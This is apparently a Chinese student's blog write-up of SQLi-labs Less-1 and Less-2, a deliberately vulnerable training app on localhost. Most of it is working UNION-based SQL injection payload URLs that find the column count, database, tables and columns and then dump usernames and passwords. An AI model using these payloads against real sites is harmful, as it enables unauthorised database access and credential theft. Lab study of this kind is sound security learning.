**
这些都是我在学习web安全过程中的内容,写篇博客记录一下学习成果也是方便日后复习回想内容啦~~~
第一关
- 首先开启phpstudy,记得要先将mysql的服务关闭哦(如果不关闭的话会导致phpstudy的mysql启动失败)
-
成功开启之后输入自己对应的网址进入第一关
-
根据网页上的提示,我们要首先输入id,因为是GET型注入,所以参数都是直接带在url后面的,意思就是我们可以直接把id写在url的后面,像这样
从上图我们可以看出 id = 1 的用户名为:Dumb,密码为:Dumb
一般我们判断是否有sql注入漏洞的方法为(以整型为例):
输入 id = 1 页面显示正常
输入 id = 1’ 页面显示错误,此时说明存在sql注入
输入id = 1’ and 1 = 1 –+ 页面显示正常
根据页面显示的变化我们可以得知,DB中的操作语句大概是这样的:select * from table where id =‘x’,因为我们正常输入数据的时候可以查询到结果,但输入1’时报错,说明此时的语句变成了:select * from table where id = ’
1’
’ 可以很容易看出多了一个单引号,所以我们用 –+ 或者 #
注释掉后面的语句,此时DB中的SQL语句就变成了:select * from table where id = ‘1’ and 1 = 1 –+’,此时单引号正好两个匹配
找到注入的类型后,我们就开始爆数据了
**
第一步:判断可供显示数据的位置有几个
输入如下内容:
http://localhost/sqli/Less-1/?id=1' order by 3 --+
此时我们发现页面显示正常,说明有
3个
可以显示数据的位置,此时输入:
http://localhost/sqli/Less-1/?id=-1' union select 1,2,3 --+
从图中可以看出
2号
和
3号
位置可供我们显示我们想要的数据
PS:此时将前面的数据改成“-1”的原因在于,正确的数据会占用一个显示位置,所以我们用错误(不合法)的数据占位,让显示数据的那个位置空出来
第二步 爆数据库名
我们选择
2号位置
作为显示数据库名的地方,输入如下内容:
http://localhost/sqli/Less-1/?id=-1' union select 1,database(),3 --+
**
可以看到,数据库名为:security
**
第三步 爆表名
输入如下内容:
http://localhost/sqli/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
**
得到表名有:emails、referers、uagents、users
**
第四步 爆表中的字段名
一般大家会对users表更感兴趣,所以这里我们以users表为例,其他表方法都是一样的,输入如下内容:
http://localhost/sqli/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+
**
得到users表的字段名有:id、name、password
**
第五步 爆数据
假设我们想知道用户名和密码,输入如下内容:
http://localhost/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
**
得到的第一行数据为用户名,第二行数据为密码
**
第二关
和第一关相同,我们先判断是否存在SQL注入,若存在是属于什么类型的
*
我们像第一关那样输入?id=1’ and 1=1 –+ 发现页面报了一个sql语法错误,这个错误不属于sql注入错误,于是我们排除单引号型注入错误;—- 此时我们输入?id=1 and 1=2 –+发现页面出错,由此我们可以得出属于
整型的错误;接下来就是一样的操作
**
第一步 判断显示数据的位置
输入如下内容:
http://localhost/sqli/Less-2/?id=-1%20union%20select%201,2,3%20--+
得到结果:2、3号位置可显示数据
**
第二步 爆库名
输入如下内容:
http://localhost/sqli/Less-2/?id=-1 union select 1,database(),3 --+
得到结果:库名为:security
**
第三步 爆表名
输入如下内容:
http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+
得到结果:表有:emails 、refers、uagents、users
**
第四步 爆字段
我们还是以users表为例,输入如下内容:
http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),database() --+
得到结果:users表的字段分别有:id、username、password
**
第五步 爆数据
以users表中的姓名和密码为例,输入如下内容:
http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
得到结果:第一行是用户名;第二行是对应的密码